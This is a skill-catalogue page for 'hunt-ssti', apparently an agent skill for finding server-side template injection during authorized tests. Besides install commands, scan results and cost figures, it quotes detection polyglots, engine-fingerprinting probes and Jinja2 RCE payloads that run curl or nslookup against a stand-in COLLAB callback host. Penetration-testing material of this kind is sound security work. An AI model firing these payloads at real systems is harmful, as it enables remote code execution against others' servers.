Recon Skills is a pack of security-testing skills covering reconnaissance, web applications, APIs, authentication, vulnerability validation, cloud infrastructure, and reporting. Security professionals use it for authorized assessments of systems they own or have written permission to test. The catalogue entries are individual skills from the pack.
Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add uphiago/recon-skills --skill hunt-sstigit clone --depth 1 https://github.com/uphiago/recon-skillsWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/uphiago/recon-skills/hunt-ssti)<a href="https://agentmods.dev/skills/uphiago/recon-skills/hunt-ssti"><img src="https://agentmods.dev/badge/skills/uphiago/recon-skills/hunt-ssti/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/uphiago/recon-skills/hunt-ssti"><img src="https://agentmods.dev/badge/skills/uphiago/recon-skills/hunt-ssti.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 3 findings, up to high
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- high Privilege Escalation · line 69 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
- high Privilege Escalation · line 144 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
- high Privilege Escalation · line 216 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00165 | $0.04328 |
| Opus 5 | $0.00082 | $0.02164 |
| Sonnet 5 | $0.00033 | $0.00866 |
| Haiku 4.5 | $0.00016 | $0.00433 |
Grade A, and why
hunt-ssti scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
{{lipsum.__globals__['os'].popen('curl http://COLLAB/ssti-rce').read()}} How it starts
The opening of the file, as written. The whole thing — 307 lines — stays where its author put it; the contents beside it link to each section on GitHub.
When to Use
Use when the target has any endpoint that renders user-controlled input through a server-side template engine. SSTI is one of the fastest paths to RCE — detection is a single {{7*7}} and escalation typically requires one more payload. SSTI detection is reliable because template expressions evaluate BEFORE HTML encoding, so the result 49 appears in the rendered output even if the surrounding page is properly escaped.
Triggering contexts: email templates (order confirmations, password resets, welcome emails), PDF/report generators, CMS preview features (page builder previews, theme editors), error pages that reflect user input, profile bio/name/description fields rendered by server-side templates, URL path parameters reflected in templates, and inline translation strings with interpolation.
Quick Reference
# Detection polyglot — try this in EVERY user-controlled field
{{7*7}}${7*7}#{7*7}<%= 7*7 %>*{7*7}
# Expectation: 49 appears in the response (or 7777777 for Jinja2 string repetition)
# Fingerprint engine
{{7*'7'}} # 7777777 = Jinja2 (Python), 49 = Twig (PHP)
${7*7} # 49 = Freemarker, Velocity, Mako (all use ${...})
<%= 7*7 %> # 49 = ERB (Ruby)
*{7*7} # 49 = Spring Thymeleaf
# Blind RCE detection (OOB callback instead of output)
{{ lipsum__globals__.os.popen('nslookup $(whoami).COLLAB').read() }} # Jinja2
Step-by-Step Hunting Methodology
Phase 1 — Detection & Fingerprinting
-
Identify reflection points — Every field where user input appears in rendered output: name fields, bio, email templates, error messages, URL parameters, search queries.
-
Send polyglot probe — Submit
{{7*7}}${7*7}#{7*7}<%= 7*7 %>*{7*7}in each candidate field. Look for49in the response body — this is a reliable signal because template expressions evaluate BEFORE HTML escaping. -
Engine fingerprinting — Once SSTI is confirmed, determine the engine:
{{7*'7'}}→7777777= Jinja2 (Python string repetition);49= Twig (PHP numeric coercion)${7*7}→49= Freemarker/Spring/Velocity/Mako<%= 7*7 %>→49= ERB (Ruby on Rails)*{7*7}→49= Thymeleaf (Spring/Java)${7*7}in header/cookie context → Spring Boot with sensitive properties via${user.name}
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 8d ago First seen · 307 lines · 165 tokens per session scan A a598b9574aed
hunt-ssti is a skill published in the GitHub repository uphiago/recon-skills (1,254 stars, last pushed 10d ago), licensed MIT. It adds 165 tokens to every session and 4,328 once invoked, about $0.0008 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
Other skills, from other repositories
auditing-gcp-iam-permissions
Auditing Google Cloud Platform IAM permissions to identify overly permissive bindings, primitive role usage, service account key proliferation, and cross-project access risks using gcloud CLI, Policy Analyzer, and IAM Recommender.
detecting-compromised-cloud-credentials
Detecting compromised cloud credentials across AWS, Azure, and GCP by analyzing anomalous API activity, impossible travel patterns, unauthorized resource provisioning, and credential abuse indicators using GuardDuty, Defender for Identity, and SCC Event Threat Detection.
implementing-aws-config-rules-for-compliance
Implementing AWS Config rules for continuous compliance monitoring of AWS resources, deploying managed and custom rules aligned to CIS and PCI DSS frameworks, configuring automatic remediation with SSM Automation, and aggregating compliance data across accounts.
implementing-cloud-dlp-for-data-protection
Implementing Cloud Data Loss Prevention (DLP) using Amazon Macie, Azure Information Protection, and Google Cloud DLP API to discover, classify, and protect sensitive data across cloud storage, databases, and data pipelines.
implementing-cloud-trail-log-analysis
Implementing AWS CloudTrail log analysis for security monitoring, threat detection, and forensic investigation using Athena, CloudWatch Logs Insights, and SIEM integration to identify unauthorized access, privilege escalation, and suspicious API activity.
implementing-zero-trust-network-access
Implementing Zero Trust Network Access (ZTNA) in cloud environments by configuring identity-aware proxies, micro-segmentation, continuous verification with conditional access policies, and replacing traditional VPN-based access with BeyondCorp-style architectures across AWS, Azure, and GCP.